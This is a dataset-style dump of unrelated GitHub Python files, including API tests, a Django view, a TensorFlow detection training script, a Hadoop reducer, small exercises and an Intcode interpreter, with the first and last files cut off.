comma\"\"\"\n m = len(company_ids)\n search_companyId = company_ids[m - 1]\n param = {\"companyIds\": search_companyId}\n logging.info(\"Search company details by company name which includes comma: %s\" % companyname)\n r = requests.get(companydetail_url, params=param, headers=header)\n assert r.status_code == 200\n resp = r.json()\n assert resp[0][\"companyName\"] in companyname and resp[0][\"companyId\"] == search_companyId\n\n@pytest.mark.companysearch\ndef test_searchcompanybyid():\n \"\"\"Search company by companyId\"\"\"\n companyIds = company_ids[0]\n logging.info(\"Search company by companyId: %s\" % companyIds)\n param = {\"companyIds\": companyIds}\n r = requests.get(companydetail_url, params=param, headers=header)\n assert r.status_code == 200\n resp = r.json()\n for i in range(0, len(resp)):\n assert resp[i][\"companyId\"] == companyIds \n","repo_name":"jmarturillas/api-automation","sub_path":"companysearch.py","file_name":"companysearch.py","file_ext":"py","file_size_in_byte":15214,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"9153826420","text":"from django.shortcuts import render\nfrom shop.models import Product\nfrom contact.forms import SubscriberForm\n\n\ndef home_page(request):\n products = Product.objects.all()[:8]\n forms = SubscriberForm()\n if request.method == 'POST':\n forms = SubscriberForm(request.POST)\n if forms.is_valid():\n forms.save()\n context = {\n 'products': products,\n 'forms': forms\n }\n return render(request, 'home.html', context)\n","repo_name":"sajib1066/django-ecommerce","sub_path":"django_ecommerce/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":461,"program_lang":"python","lang":"en","doc_type":"code","stars":152,"dataset":"github-code","pt":"5"} +{"seq_id":"9239104708","text":"# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, val=0, left=None, right=None):\n# self.val = val\n# self.left = left\n# self.right = right\nclass Solution:\n def maxPathSum(self, root: Optional[TreeNode]) -> int:\n \n def dfs(node):\n if not node:\n return 0\n \n left = max(dfs(node.left),0)\n right = max(dfs(node.right),0)\n path_sum = left + right + node.val\n self.max_path_sum = max(self.max_path_sum,path_sum)\n \n return max(left,right) + node.val\n \n self.max_path_sum = float('-inf')\n dfs(root)\n \n return self.max_path_sum","repo_name":"tesfaymebre/A2SV_comptetive_programming-python-","sub_path":"0124-binary-tree-maximum-path-sum/0124-binary-tree-maximum-path-sum.py","file_name":"0124-binary-tree-maximum-path-sum.py","file_ext":"py","file_size_in_byte":730,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"33111340425","text":"#Récupération des données \nimport random\nimport pymssql\nimport pandas as pd\nimport numpy as np\nfrom decouple import config\n\n\nDATABASE = config(\"DATABASE\")\nUSER = config(\"USER\")\nPASSWORD = config(\"PASSWORD\")\nHOST = config(\"HOST\")\n\ndef connexion():\n conn = pymssql.connect(HOST, USER, PASSWORD, DATABASE, as_dict=True, autocommit=True)\n cursor = conn.cursor()\n return cursor\n\n#Récupération des posts écoutés par les utilisateurs \ndef get_listened_post(cursor):\n listened_posts = []\n cursor.execute(\"SELECT u.id AS user_id, SUBSTRING(description, 0, CHARINDEX('License', description, 0)) AS tags, p.id AS post_id FROM Visits v, Posts p, Users u \\\n WHERE v.sound_id = p.sound_id AND v.user_id = u.id ORDER BY user_id\")\n for row in cursor:\n if(row['tags'] != ''):\n listened_posts.append([row['post_id'], row['user_id'], row['tags'], 1])\n return listened_posts\n\n\n#Récupération des posts likés par les utilisateurs\ndef get_liked_post(cursor): \n liked_post = []\n cursor.execute(\"SELECT p.id as post_id ,l.user_id, SUBSTRING(description, 0, CHARINDEX('License', description, 0)) AS tags FROM posts p,likes l WHERE l.post_id=p.id ORDER BY user_id\")\n for row in cursor:\n if(row['tags'] != ''):\n liked_post.append([row['post_id'], row['user_id'], row['tags'], 1.75])\n return liked_post\n\n\n#Récupération des posts partagés par les utilisateurs \ndef get_shared_post(cursor):\n shared_post = []\n cursor.execute(\"SELECT p.id as post_id ,s.user_id, SUBSTRING(description, 0, CHARINDEX('License', description, 0)) AS tags FROM posts p,shares s WHERE s.post_id=p.id ORDER BY user_id\")\n for row in cursor:\n if(row['tags'] != ''):\n shared_post.append([row['post_id'], row['user_id'], row['tags'], 2.25])\n return shared_post\n\n\n#Regrouper les posts afin de calculer la valeur réelle du \"rate\"\n #Initialisation d'un DF avec les post_id et les user_id et dans chaque case on ajoute la somme des rates\ndef concat_all_posts(listened_posts, liked_post, shared_post):\n for i in listened_posts : \n for y in liked_post : \n if i[0] == y[0] and i[1] == y[1] : \n i[3] = i[3] + y[3]\n liked_post.remove(y)\n listened_posts = np.concatenate((listened_posts, liked_post))\n\n x=0\n y=0\n for i in listened_posts : \n for y in shared_post : \n if i[0] == y[0] and i[1] == y[1] : \n i[3] = i[3] + y[3]\n shared_post.remove(y)\n listened_posts = np.concatenate((listened_posts, shared_post))\n listened_posts = pd.DataFrame(listened_posts, columns=['post_id', 'user_id', 'tags', 'rating'])\n return listened_posts\n\n\n# Extraction des tags\ndef extract_all_tags(listened_posts):\n tags = listened_posts['tags'].str.split(\",\", expand=True)\n all_tags = set()\n for c in tags.columns:\n distinct_tags = tags[c].str.replace('(', '').str.replace(')', '').str.lower().str.strip().unique()\n all_tags.update(distinct_tags)\n all_tags.remove(None)\n return all_tags\n\n# Calcul des \"rates\" moyens par utilisateur et par tag\ndef ratings_mean_ny_user_tags(all_posts, all_tags):\n tags_ratings = pd.DataFrame()\n column_names = []\n for tag in all_tags: \n column_names.append(\"avg_\"+tag+\"_rating\")\n tags_post = all_posts[all_posts['tags'].str.replace('(', '').str.replace(')', '').str.contains(tag, case=False)]\n tags_post['rating'] = pd.to_numeric(tags_post['rating'], downcast=\"float\")\n avg_tags_votes_per_user = tags_post.groupby('user_id')['rating'].mean()\n tags_ratings = pd.concat([tags_ratings, avg_tags_votes_per_user], axis=1)\n tags_ratings.columns = column_names\n return tags_ratings\n\n# NaN values \ndef correct_nan_values(tags_ratings):\n for c in tags_ratings.columns : \n if tags_ratings.columns.get_loc(c)%2==1:\n for x in range(len(tags_ratings)):\n if x <= 28 : \n valeur = random.uniform(0.5,1.00)\n elif x > 28 and x <= 56 : \n valeur = random.uniform(1.00,2.00)\n elif x > 56 and x <= 84: \n valeur = random.uniform(2.00,3.00)\n else : \n valeur = random.uniform(3.00,4.00)\n if pd.isna(tags_ratings[c][x]):\n tags_ratings[c][x] = valeur\n else:\n for x in range(len(tags_ratings)):\n if x <= 28 : \n valeur = random.uniform(3.00,4.00)\n elif x > 28 and x <= 56 : \n valeur = random.uniform(2.00,3.00)\n elif x > 56 and x <= 84: \n valeur = random.uniform(1.00,2.00)\n else : \n valeur = random.uniform(0.5,1.00)\n if pd.isna(tags_ratings[c][x]):\n tags_ratings[c][x] = valeur\n return tags_ratings","repo_name":"soundbond-team/soundbond","sub_path":"ml/fonction.py","file_name":"fonction.py","file_ext":"py","file_size_in_byte":4537,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"5"} +{"seq_id":"36433493114","text":"#!/usr/bin/env python\n\nimport os\nimport sys \nimport numpy as np \n\n#################### YOUR CODE HERE ###################\n\n# Mapper format\n#A !line_counter 1 3\n#A !part_counter 3 8\n#A !total 0 11\n#A beijing 0 1\n#A chinese 0 1\n#A chinese 0 1\n\n\n# Loop over the data to get the unique word count\n#initialize\ncurrent_word = None\nunique_word_counter = 0\ntotal_counter = 0\nline_counter_ham, line_counter_spam = 0,0\npart_counter_ham, part_counter_spam = 0,0\n\n\nfor line in sys.stdin:\n key, word, col_3, col_4 = line.split('\\t')\n col_3 = int(col_3)\n col_4 = int(col_4)\n if word != current_word and word != \"!total\" and word != \"!line_counter\" and word != \"!part_counter\":\n unique_word_counter += 1\n current_word = word\n \n if word == \"!total\":\n total_counter += col_4\n elif word == \"!line_counter\":\n line_counter_ham += col_3 \n line_counter_spam += col_4 \n elif word == \"!part_counter\":\n part_counter_ham += col_3 \n part_counter_spam += col_4 \n else:\n print(f'{key}\\t{word}\\t{col_3}\\t{col_4}')\n\nprint(f'{key}\\t!!unique_words\\t0\\t{unique_word_counter}')\nprint(f'{key}\\t!total\\t0\\t{total_counter}')\nprint(f'{key}\\t!line_counter\\t{line_counter_ham}\\t{line_counter_spam}')\nprint(f'{key}\\t!part_counter\\t{part_counter_ham}\\t{part_counter_spam}')\n\n\n\n#################### (END) YOUR CODE ###################","repo_name":"lschroyer/W261_Machine_Learning_at_Scale_Projects","sub_path":"HW2_NaiveBayes_with_MapReduce_in_Hadoop/NaiveBayes/train_reducer_smooth.py","file_name":"train_reducer_smooth.py","file_ext":"py","file_size_in_byte":1468,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"24928650944","text":"#!/usr/bin/env python3\n\nimport matplotlib\nmatplotlib.use('TkAgg')\nfrom core.config import args, get_logging_config, CKPT_ROOT\nfrom core.voc_loader import VOCLoader, VOC_CATS\nfrom core.network import Network, DISTILLATION_SCOPE\nfrom core.utils import print_variables\nfrom core.utils_tf import yxyx_to_xywh, preprocess_proposals, mirror_distortions, xywh_to_yxyx\nfrom core.evaluation import Evaluation\nimport resnet\nimport time\nimport os\nimport logging.config\nimport numpy as np\nimport tensorflow as tf\n\n\nslim = tf.contrib.slim\nlogging.config.dictConfig(get_logging_config(args.run_name))\nlog = logging.getLogger()\n\ntrain_dir = CKPT_ROOT + args.run_name\npretrain_dir = CKPT_ROOT + args.pretrained_net\n\n\ndef extract_batch(data_provider, classes):\n with tf.device(\"/gpu:0\"):\n im, bbox, gt, proposals = data_provider.get(['image', 'object/bbox', 'object/label', 'proposal/bbox'])\n im = tf.to_float(im)/255\n gt = tf.to_int32(gt)\n gt_mask = tf.reduce_any(tf.equal(tf.expand_dims(gt, 1), tf.expand_dims(tf.constant(classes), 0)), axis=1)\n gt = tf.boolean_mask(gt, gt_mask)\n bbox = tf.boolean_mask(bbox, gt_mask)\n\n sh = tf.to_float(tf.shape(im))\n h, w = sh[0], sh[1]\n scale = tf.minimum(1000.0/tf.maximum(h, w), 600.0/tf.minimum(h, w))\n new_dims = tf.to_int32((h*scale, w*scale))\n im = tf.image.resize_images(im, new_dims)\n bbox = yxyx_to_xywh(tf.clip_by_value(bbox, 0.0, 1.0))\n proposals = yxyx_to_xywh(tf.clip_by_value(proposals, 0.0, 1.0))\n\n num_gt = tf.shape(bbox)[0]\n rois = tf.concat([bbox, proposals], 0)\n im, rois = mirror_distortions(im, rois)\n bbox = rois[:num_gt]\n proposals = rois[num_gt:]\n\n # TODO stop gradient somewhere?\n batch_prop, batch_gt, batch_refine, include = preprocess_proposals(proposals, bbox, gt)\n\n return tf.train.maybe_batch([im, batch_prop, batch_refine, batch_gt, xywh_to_yxyx(proposals)],\n include, 1, capacity=128, num_threads=args.num_prep_threads,\n dynamic_pad=True)\n\n\ndef restore_ckpt(ckpt_dir=None, global_step=None, ckpt_num=0):\n ckpt_dir = ckpt_dir or (CKPT_ROOT+args.run_name)\n ckpt = tf.train.get_checkpoint_state(ckpt_dir)\n if ckpt and ckpt.model_checkpoint_path:\n ckpt_num = ckpt_num or args.ckpt\n if ckpt_num > 0:\n ckpt_to_restore = ckpt_dir+'/model.ckpt-%i' % ckpt_num\n else:\n ckpt_to_restore = ckpt.model_checkpoint_path\n if args.reset_slots:\n variables_to_restore = slim.get_model_variables()\n if global_step is not None:\n variables_to_restore += [global_step]\n else:\n variables_to_restore = tf.global_variables()\n variables_to_restore = [v for v in variables_to_restore\n if 'distillation' not in v.op.name]\n init_assign_op, init_feed_dict = slim.assign_from_checkpoint(\n ckpt_to_restore, variables_to_restore)\n log.info(\"Restore from %s\", ckpt_to_restore)\n else:\n init_assign_op = tf.no_op()\n init_feed_dict = None\n log.info(\"Completely new network\")\n\n return init_assign_op, init_feed_dict\n\n\ndef get_total_loss(networks):\n frcnn_xe_loss = tf.reduce_mean([net.compute_frcnn_crossentropy_loss() for net in networks])\n tf.summary.scalar('loss/frcnn/class', frcnn_xe_loss)\n frcnn_bbox_loss = tf.reduce_mean([net.compute_frcnn_bbox_loss() for net in networks])\n tf.summary.scalar('loss/frcnn/bbox', frcnn_bbox_loss)\n l2_loss = tf.add_n(tf.get_collection(tf.GraphKeys.REGULARIZATION_LOSSES))\n tf.summary.scalar('loss/weight_decay', l2_loss)\n total_loss = frcnn_xe_loss + frcnn_bbox_loss + l2_loss\n\n if args.distillation:\n distillation_xe_loss = tf.reduce_mean([net.compute_distillation_crossentropy_loss() for net in networks])\n tf.summary.scalar('loss/distillation/class', distillation_xe_loss)\n distillation_bbox_loss = tf.reduce_mean([net.compute_distillation_bbox_loss() for net in networks])\n tf.summary.scalar('loss/distillation/bbox', distillation_bbox_loss)\n total_loss += distillation_xe_loss + distillation_bbox_loss\n tf.summary.scalar('loss/total', total_loss)\n return total_loss\n\n\ndef get_dataset(*files):\n keys_to_features = {\n 'image/encoded': tf.FixedLenFeature(\n (), tf.string, default_value=''),\n 'image/format': tf.FixedLenFeature(\n (), tf.string, default_value='JPEG'),\n 'image/object/bbox/xmin': tf.VarLenFeature(\n dtype=tf.float32),\n 'image/object/bbox/ymin': tf.VarLenFeature(\n dtype=tf.float32),\n 'image/object/bbox/xmax': tf.VarLenFeature(\n dtype=tf.float32),\n 'image/object/bbox/ymax': tf.VarLenFeature(\n dtype=tf.float32),\n 'image/proposal/bbox/xmin': tf.VarLenFeature(\n dtype=tf.float32),\n 'image/proposal/bbox/ymin': tf.VarLenFeature(\n dtype=tf.float32),\n 'image/proposal/bbox/xmax': tf.VarLenFeature(\n dtype=tf.float32),\n 'image/proposal/bbox/ymax': tf.VarLenFeature(\n dtype=tf.float32),\n 'image/object/class/label': tf.VarLenFeature(\n dtype=tf.int64)\n }\n\n items_to_handlers = {\n 'image': slim.tfexample_decoder.Image('image/encoded', 'image/format', channels=3),\n 'proposal/bbox': slim.tfexample_decoder.BoundingBox(\n ['ymin', 'xmin', 'ymax', 'xmax'], 'image/proposal/bbox/'),\n 'object/bbox': slim.tfexample_decoder.BoundingBox(\n ['ymin', 'xmin', 'ymax', 'xmax'], 'image/object/bbox/'),\n 'object/label': slim.tfexample_decoder.Tensor('image/object/class/label')\n }\n\n items_to_descriptions = {\n 'image': 'A color image of varying height and width.',\n 'proposal/bbox': 'An array of handcrafted proposals.',\n 'object/bbox': 'A list of bounding boxes.',\n 'object/label': 'A list of labels, one per each object.'\n }\n\n categories = VOC_CATS\n\n return slim.dataset.Dataset(\n data_sources=[os.path.join(\"datasets\", f) for f in files],\n reader=tf.TFRecordReader,\n decoder=slim.tfexample_decoder.TFExampleDecoder(keys_to_features, items_to_handlers),\n num_samples=9963,\n items_to_descriptions=items_to_descriptions,\n num_classes=len(categories),\n labels_to_names={i: cat for i, cat in enumerate(categories)})\n\n\ndef train_network(sess):\n to_learn, prefetch_classes, remain = split_classes()\n\n ### data loading ###\n with tf.device(\"/gpu:0\"):\n dataset = get_dataset('data.tfrecord')\n data_provider = slim.dataset_data_provider.DatasetDataProvider(\n dataset, num_readers=2,\n common_queue_capacity=512, common_queue_min=32)\n\n ### network graph construction ###\n networks = []\n num_classes = args.num_classes + args.extend\n for i in range(args.num_images):\n with tf.name_scope('img%i' % i):\n dequeue = extract_batch(data_provider, prefetch_classes)\n image, rois, refine, cats, proposals = [t[0] for t in dequeue]\n net = Network(image=image, rois=rois, reuse=(i > 0),\n num_classes=num_classes,\n distillation=args.distillation, proposals=proposals)\n net.refine = refine\n net.cats = cats\n networks.append(net)\n\n ### launching queues\n coord = tf.train.Coordinator()\n log.debug(\"Launching prefetch threads\")\n prefetch_threads = tf.train.start_queue_runners(sess=sess, coord=coord)\n close_all_queues = tf.group(*[qr.close_op for qr in tf.get_collection(tf.GraphKeys.QUEUE_RUNNERS)])\n\n ### metrics ###\n train_acc = tf.reduce_mean([net.compute_train_accuracy() for net in networks])\n tf.summary.scalar('accuracy/train', train_acc)\n bg_freq = tf.reduce_mean([net.compute_background_frequency() for net in networks])\n tf.summary.scalar('bg_freq/train', bg_freq)\n\n ### setup training ###\n train_vars = [v for v in tf.trainable_variables()\n if v.op.name.endswith('weights') or v.op.name.endswith('biases')]\n if args.train_vars != '':\n var_substrings = args.train_vars.split(',')\n train_vars = [v for v in train_vars\n if np.any([s in v.op.name for s in var_substrings])]\n print_variables('train', train_vars)\n total_loss = get_total_loss(networks)\n global_step = slim.get_or_create_global_step()\n opt = get_optimizer(global_step)\n train_op = slim.learning.create_train_op(\n total_loss, opt,\n global_step=global_step,\n variables_to_train=train_vars,\n summarize_gradients=True)\n\n ### summaries\n slim.summarize_variables()\n partial_summary_op = tf.summary.merge(tf.get_collection(tf.GraphKeys.SUMMARIES, 'loss'))\n summary_op = tf.summary.merge_all()\n\n ### create all initializers or checkpoint assignments\n clean_init_op = tf.group(tf.global_variables_initializer(), tf.local_variables_initializer())\n imagenet_init_op, imagenet_feed_dict = resnet.get_imagenet_init()\n has_pretrained = args.extend != 0 and args.pretrained_net != ''\n if has_pretrained:\n preinit_assign_op, preinit_feed_dict = restore_ckpt(ckpt_dir=CKPT_ROOT+args.pretrained_net)\n init_assign_op, init_feed_dict = restore_ckpt(ckpt_dir=train_dir, global_step=global_step)\n if args.distillation:\n dist_init_op, dist_init_feed_dict = init_dist_network()\n\n ### final preparations for training\n saver = tf.train.Saver(tf.global_variables(), keep_checkpoint_every_n_hours=1, max_to_keep=1)\n tf.get_default_graph().finalize()\n summary_writer = tf.summary.FileWriter(train_dir, sess.graph)\n\n ### run variable restore or init\n sess.run(clean_init_op)\n sess.run(imagenet_init_op, feed_dict=imagenet_feed_dict)\n if has_pretrained:\n sess.run(preinit_assign_op, feed_dict=preinit_feed_dict)\n sess.run(init_assign_op, feed_dict=init_feed_dict)\n if args.distillation:\n sess.run(dist_init_op, feed_dict=dist_init_feed_dict)\n\n ### train loop\n starting_step = sess.run(global_step)\n log.info(\"Starting training...\")\n for step in range(starting_step, args.max_iterations+1):\n start_time = time.time()\n try:\n train_loss, acc, bg_freq_iter, summary_str = sess.run([train_op, train_acc, bg_freq, partial_summary_op])\n except (tf.errors.OutOfRangeError, tf.errors.CancelledError):\n break\n except KeyboardInterrupt:\n log.info(\"Killed by ^C\")\n break\n duration = time.time() - start_time\n\n summary_writer.add_summary(summary_str, step)\n\n num_examples_per_step = len(networks)\n examples_per_sec = num_examples_per_step / duration\n sec_per_batch = float(duration)\n\n if step % args.print_step == 0:\n format_str = ('step %d, loss = %.2f, acc = %.2f bg = %.2f (%.1f ex/sec; %.3f '\n 'sec/batch)')\n log.info(format_str % (step, train_loss, acc, bg_freq_iter,\n examples_per_sec, sec_per_batch))\n\n if step % 100 == 0:\n summary_str = sess.run(summary_op)\n summary_writer.add_summary(summary_str, step)\n\n if step % 1000 == 0 and step > 0:\n summary_writer.flush()\n log.debug(\"Saving checkpoint...\")\n checkpoint_path = os.path.join(train_dir, 'model.ckpt')\n saver.save(sess, checkpoint_path, global_step=step)\n\n summary_writer.close()\n coord.request_stop()\n try:\n sess.run(close_all_queues)\n except tf.errors.CancelledError:\n # silently skip because at this point it is useless\n pass\n coord.join(prefetch_threads)\n\n\ndef get_optimizer(global_step):\n learning_rate = args.learning_rate\n\n if len(args.lr_decay) > 0:\n # steps = [20000, 40000]\n # learning_rates = [10e-6, 10e-7, 10e-8]\n steps = []\n learning_rates = [learning_rate]\n for i, step in enumerate(args.lr_decay):\n steps.append(step)\n learning_rates.append(learning_rate*10**(-i-1))\n learning_rate = tf.train.piecewise_constant(tf.to_int32(global_step),\n steps, learning_rates)\n tf.summary.scalar('learning_rate', learning_rate)\n\n if args.optimizer == 'adam':\n opt = tf.train.AdamOptimizer(learning_rate)\n elif args.optimizer == 'nesterov':\n opt = tf.train.MomentumOptimizer(learning_rate, 0.9, use_nesterov=True)\n elif args.optimizer == 'momentum':\n opt = tf.train.MomentumOptimizer(learning_rate, 0.9, use_nesterov=False)\n elif args.optimizer == 'sgd':\n opt = tf.train.GradientDescentOptimizer(learning_rate)\n else:\n raise ValueError\n return opt\n\n\n# TODO refactor it inside get_loader\ndef split_classes():\n num_classes = args.num_classes\n if args.extend != 0:\n num_classes += args.extend\n total_number = 20\n original = list(range(total_number+1))\n to_learn = list(range(num_classes+1))\n remaining = [i for i in original if i not in to_learn]\n if args.extend != 0:\n prefetch_cats = args.extend\n prefetch_cats = to_learn[-prefetch_cats:]\n else:\n prefetch_cats = to_learn\n print('Splitting classes into %s, %s, %s', to_learn, prefetch_cats, remaining)\n return to_learn, prefetch_cats, remaining\n\n\ndef init_dist_network():\n for v in tf.global_variables():\n print(v.op.name)\n ckpt_dir = CKPT_ROOT+args.pretrained_net\n ckpt = tf.train.get_checkpoint_state(ckpt_dir)\n if ckpt and ckpt.model_checkpoint_path:\n variables_to_restore = slim.get_model_variables(scope=DISTILLATION_SCOPE)\n var_dict = {v.op.name[len(DISTILLATION_SCOPE)+1:]: v for v in variables_to_restore}\n init_assign_op, init_feed_dict = slim.assign_from_checkpoint(\n ckpt.model_checkpoint_path, var_dict)\n print(\"Restoring %s\" % ckpt.model_checkpoint_path)\n else:\n raise ValueError(\"Pretrained network not found: %s\" % ckpt_dir)\n return init_assign_op, init_feed_dict\n\n\ndef eval_network(sess):\n net = Network(num_classes=args.num_classes+args.extend, distillation=False)\n _, _, remain = split_classes()\n loader = VOCLoader(\"test\")\n\n if args.eval_ckpts != '':\n ckpts = args.eval_ckpts.split(',')\n else:\n ckpts = [args.ckpt]\n for ckpt in ckpts:\n if ckpt[-1].lower() == 'k':\n ckpt_num = int(ckpt[:-1])*1000\n else:\n ckpt_num = int(ckpt)\n init_op, init_feed_dict = restore_ckpt(ckpt_num=ckpt_num)\n sess.run(init_op, feed_dict=init_feed_dict)\n log.info(\"Checkpoint {}\".format(ckpt))\n Evaluation(net, loader, ckpt_num, args.conf_thresh, args.nms_thresh).evaluate_network(args.eval_first_n)\n\n\ndef look_ckpt(ckpt_dir, ckpt_num, fail_if_absent=False):\n # TODO support for k\n ckpt = tf.train.get_checkpoint_state(ckpt_dir)\n if ckpt and ckpt.model_checkpoint_path:\n if ckpt_num == 0:\n ckpt_to_restore = ckpt.model_checkpoint_path\n else:\n ckpt_to_restore = ckpt_dir+'/model.ckpt-%i' % ckpt_num\n log.info(\"Restoring model %s...\" % ckpt_to_restore)\n return ckpt_to_restore\n else:\n log.warning(\"No checkpoint to restore in {}\".format(ckpt_dir))\n if fail_if_absent:\n quit(2)\n else:\n return None\n\n\nif __name__ == '__main__':\n action = args.action\n tf.reset_default_graph()\n with tf.Session(config=tf.ConfigProto(allow_soft_placement=True, log_device_placement=False)) as sess:\n if action == 'train':\n start_time = time.time()\n train_network(sess)\n end_time = time.time()\n print(end_time-start_time)\n if action == 'eval':\n start_time = time.time()\n eval_network(sess)\n end_time = time.time()\n print(end_time - start_time)\n","repo_name":"Pedestrian1671022/TensorFlow_Incremental_Learning_for_Detection","sub_path":"frcnn_3rd_and_4th_step.py","file_name":"frcnn_3rd_and_4th_step.py","file_ext":"py","file_size_in_byte":16062,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"7895818237","text":"url = 'http://www.naver.com/news/today=20160831'\nlog = 'name:홍길동 age:17 sex:남자 nation:조선'\nret1= url.split('/')\n\nprint(ret1)\nprint(log)\nret2=log.split()\nprint(ret2)\nperson={}\n\nfor data in ret2:\n d1,d2=data.split(':')\n if d2.isnumeric():\n person[d1]=int(d2)\n else:\n person[d1]=d2\n\nprint(person)","repo_name":"rjsgmlsms126/raspberrypi","sub_path":"untitled/venv/8.py","file_name":"8.py","file_ext":"py","file_size_in_byte":329,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"71565882","text":"def search_the_matrix(n_targets, shooter_position):\n for r in range(5):\n for c in range(5):\n if matrix[r][c] == 'x':\n n_targets += 1\n elif matrix[r][c] == 'A':\n shooter_position = [r, c]\n return n_targets, shooter_position\n\n\nmatrix = [[x for x in input().split()] for el in range(5)]\nshooter_position = [0,0]\ntargets_left = 0\ntargets_shotted = 0\ntargets_shotted_positions = []\ntargets_left, shooter_position = search_the_matrix(targets_left, shooter_position)\nn_commands = int(input())\ndirections = {'right': [0, 1], 'left': [0, -1], 'up': [-1, 0], 'down': [1, 0]}\n\nfor _ in range(n_commands):\n command, *others = input().split()\n if command == 'move':\n if matrix[shooter_position[0]][shooter_position[1]] == 'A':\n matrix[shooter_position[0]][shooter_position[1]] = '.'\n direction, steps = others\n steps = int(steps)\n move_directions = {'right': [0, steps], 'left': [0, -steps], 'up': [-steps, 0], 'down': [steps, 0]}\n row, col = shooter_position\n new_row = row + move_directions[direction][0]\n new_col = col + move_directions[direction][1]\n if new_row not in range(5) or new_col not in range(5) or matrix[new_row][new_col] == 'x':\n continue\n shooter_position = [new_row, new_col]\n elif command == 'shoot':\n direction = others[0]\n row, col = shooter_position\n shot_row = row\n shot_col = col\n target_position = [0, 0]\n for _ in range(5):\n shot_row += directions[direction][0]\n shot_col += directions[direction][1]\n if shot_row not in range(5) or shot_col not in range(5):\n break\n elif matrix[shot_row][shot_col] == '.':\n continue\n elif matrix[shot_row][shot_col] == 'x':\n targets_left -= 1\n targets_shotted += 1\n matrix[shot_row][shot_col] = '.'\n targets_shotted_positions.append([shot_row, shot_col])\n break\n if targets_left == 0:\n print(f'Training completed! All {targets_shotted} targets hit.')\n break\n\nif targets_left > 0:\n print(f'Training not completed! {targets_left} targets left.')\nprint(*targets_shotted_positions, sep='\\n')\n\n","repo_name":"Svilkata88/SoftUni_python_advanced","sub_path":"3.3.multidimensional_lists_second_exercise/6.range_day.py","file_name":"6.range_day.py","file_ext":"py","file_size_in_byte":2316,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"73691923993","text":"''' The complete Intcode computer\nN. B. Someone wrote an intcode computer in intcode\nhttps://www.reddit.com/r/adventofcode/comments/e7wml1/2019_intcode_computer_in_intcode/\n'''\nfrom os import system\nfrom random import choice\n\nfin = open('input_15.txt')\ntemp = fin.readline().split(',')\nfin.close()\n\nprogram_template = [int(x) for x in temp]\n\n# memory extension\nprogram_template += [0] * 2000\n\n\ndef pexec(p, pc, in_queue, out_queue, rbase):\n\n def g_o(pc, opnum): # get operand\n modes = p[pc] // 100\n m = [0, 0, 0, 0]\n m[1] = modes % 10\n modes = modes // 10\n m[2] = modes % 10\n modes = modes // 10\n m[3] = modes % 10\n\n if (opnum == 3): # target address for write operations\n if m[3] == 0:\n return p[pc + opnum]\n else:\n return p[pc + opnum] + rbase\n\n if (p[pc] % 100 == 3): # target address for input write\n if m[1] == 0:\n return p[pc + opnum]\n else:\n return p[pc + opnum] + rbase\n\n if m[opnum] == 0: # positional, immediate, relative target value\n return p[p[pc + opnum]]\n elif m[opnum] == 1:\n return p[pc + opnum]\n elif m[opnum] == 2:\n return p[p[pc + opnum] + rbase]\n else:\n return None\n\n while True:\n # decode instruction\n opcode = p[pc] % 100\n\n if opcode == 99: # terminate\n return 'END', pc, rbase\n\n elif opcode == 1: # add\n p[g_o(pc, 3)] = g_o(pc, 1) + g_o(pc, 2)\n pc += 4\n\n elif opcode == 2: # multiply\n p[g_o(pc, 3)] = g_o(pc, 1) * g_o(pc, 2)\n pc += 4\n\n elif opcode == 3: # input\n if in_queue == []:\n return 'WAIT', pc, rbase\n inp = in_queue.pop(0)\n p[g_o(pc, 1)] = inp\n pc += 2\n\n elif opcode == 4: # print\n out_queue.append(g_o(pc, 1))\n pc += 2\n\n elif opcode == 5: # jump-if-true\n if g_o(pc, 1) != 0:\n pc = g_o(pc, 2)\n else:\n pc += 3\n\n elif opcode == 6: # jump-if-false\n if g_o(pc, 1) == 0:\n pc = g_o(pc, 2)\n else:\n pc += 3\n\n elif opcode == 7: # less than\n if g_o(pc, 1) < g_o(pc, 2):\n p[g_o(pc, 3)] = 1\n else:\n p[g_o(pc, 3)] = 0\n pc += 4\n\n elif opcode == 8: # less than\n if g_o(pc, 1) == g_o(pc, 2):\n p[g_o(pc, 3)] = 1\n else:\n p[g_o(pc, 3)] = 0\n pc += 4\n\n elif opcode == 9: # change relative base\n rbase += g_o(pc, 1)\n pc += 2\n\n else: # unknown opcode\n return 'ERROR', pc, rbase\n\n\ndef print_canvas(canvas, ry, rx):\n system('cls')\n char = {-1: ' ', 0: '.', 1: '#', 2: 'O'}\n for y, line in enumerate(canvas):\n for x, element in enumerate(line):\n if x == rx and y == ry:\n print('D', end='')\n else:\n print(char[element], end='')\n print('|')\n print('\\n y:', ry, 'x:', rx)\n\n\n# computer initial state\npA = program_template[:]\nqAin = []\nqAout = []\npcA = 0\nstateA = 'WAIT'\nrbaseA = 0\n\n# canvas and robot position\nwidth = 51\nheight = 51\ncv = [[-1] * width for i in range(height)] # coords in (y,x) order\nr_xpos = width // 2\nr_ypos = height // 2\ncv[r_ypos][r_xpos] = 0\n# -1-unknown, 0-free, 1-wall, 2-oxygen\ndyx = {'n': (-1, 0), 'w': (0, -1), 's': (1, 0), 'e': (0, 1)} # nwse\nprint_canvas(cv, r_ypos, r_xpos)\nidir = {'n': 1, 'w': 3, 's': 2, 'e': 4}\n\n# this is really crude: exloration of the maze by random walk\n# this is supposed to become an implementation of the right\n# hand rule, if I can muster the patience...\n\nstopsignal = False\nstepcount = 2 * 10**6\nrandomdirs = [1, 2, 3, 4]\n\nwhile not stopsignal:\n stepcount -= 1\n if stepcount == 0:\n break\n char = choice('nswe')\n qAin.append(idir[char])\n\n if stateA == 'WAIT':\n stateA, pcA, rbaseA = pexec(pA, pcA, qAin, qAout, rbaseA)\n response = qAout.pop()\n if response == 0:\n cv[r_ypos + dyx[char][0]][r_xpos + dyx[char][1]] = 1\n elif response == 1:\n cv[r_ypos + 